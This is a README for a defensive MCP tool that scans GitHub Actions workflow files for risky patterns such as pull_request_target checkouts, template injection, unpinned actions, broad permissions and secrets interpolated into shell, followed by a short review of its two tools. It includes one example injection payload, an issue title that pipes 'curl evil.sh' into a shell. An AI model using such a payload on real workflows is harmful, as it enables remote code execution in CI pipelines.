actions-guard-mcp
# actions-guard-mcp
A GitHub Actions workflow security scanner, exposed as MCP tools — so an
agent can catch the "pwn request" and supply-chain patterns that have
caused real incidents (CoreShop, tj-actions, and others) *before* a
workflow file is committed, not after.
## Why this exists
Static analysis for GitHub Actions workflows is a mature, well-understood
field — [zizmor](https://github.com/zizmorcore/zizmor) is a respected,
actively maintained standalone scanner for exactly this. What doesn't
exist yet is a serious MCP wrapper around that class of analysis. The one
project found in a broad search (`github-security-mcp`) spreads 45 checks
across org settings, secrets, supply chain, *and* Actions in one generic
tool — 12 stars, no commits in 5 months. Nothing focuses on workflow
security specifically, deeply, as something an agent can call while it's
actively writing or reviewing a workflow file.
## What it catches
- **Dangerous triggers (AGMCP-101)** — `pull_request_target` or
`workflow_run` combined with a checkout step whose `ref:` or
`repository:` points at the triggering PR/run's own fork. This is the
exact shape of the CoreShop incident: a workflow that runs with the
base repo's token and secrets, but checks out and executes code from
the fork that triggered it.
- **Template injection (AGMCP-102)** — `${{ ... }}` expressions built
from attacker-controlled context (`github.event.issue.title`,
`github.event.pull_request.title`, `github.event.comment.body`,
`github.head_ref`, a `toJSON(github.event)` whole-payload dump, and
similar) interpolated directly into a `run:` step, rather than passed
through `env:`. The classic shape is
`run: echo "${{ github.event.issue.title }}"` — an issue title of
`"; curl evil.sh | sh #` is not a string at that point, it's shell.
- **Unpinned actions and reusable workflows (AGMCP-103)** —
`uses: owner/repo@v4` (a tag or branch, both mutable) instead of a
pinned commit SHA; a job-level reusable-workflow call
(`jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main`) pinned the
same mutable way; or a `docker://image:tag` reference not pinned to a
`@sha256:` digest. This is the exact supply-chain surface the
tj-actions incident used: a compromised tag pointed everyone using it
at malicious code with no version bump.
- **Excessive permissions (AGMCP-104)** — `permissions: write-all`, or
explicit broad `write` scopes (`contents`, `actions`, `packages`, ...),
set at either the workflow level or a job level, on a workflow that
also has a risky trigger, where a narrower scope would do.
- **Secrets interpolated into shell (AGMCP-105)** — `${{ secrets.X }}`
used directly in a `run:` step instead of passed through `env:`, which
is unnecessary exposure of the raw secret value into the shell command
line / process list rather than an environment variable.
All marker matching (AGMCP-101/102/105) normalizes GitHub Actions'
bracket-notation property access (`github.event['issue']['title']`) to
the equivalent dot form and matches case-insensitively, since the
expression language treats both as identical.
## Known limitations
This is pattern matching over the literal text of `${{ }}` expressions
and `with:`/`permissions:` blocks — not a full GitHub Actions expression
parser or a data-flow analysis. A clean scan means "no *known* risky
pattern found in the text as written," not a guarantee the workflow is
safe. Concretely:
- **No cross-step / `env:` data-flow tracking.** A dangerous value
routed through an intermediate `env:` variable or a step output before
reaching a checkout `ref:` or a `run:` command is invisible to
AGMCP-101/102/105 — only the literal expression in the field being
checked is inspected.
- **The attacker-controlled-context marker list (AGMCP-102) is a finite,
hand-maintained set**, not a real enumeration of every context path
GitHub Actions exposes. A new or uncommon field can exist that isn't
listed yet.
If a clean result matters for a security decision, don't treat it as the
last word — [zizmor](https://github.com/zizmorcore/zizmor) does deeper,
more general static analysis of the same file class and is worth running
alongside this, not instead of it.
## Setup
```bash
pip install actions-guard-mcp
actions-guard-mcp
```
No configuration needed — every tool takes a workflow file path or its raw YAML content directly.
## Status
Early build.
## License
MIT
TDQS
Scored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.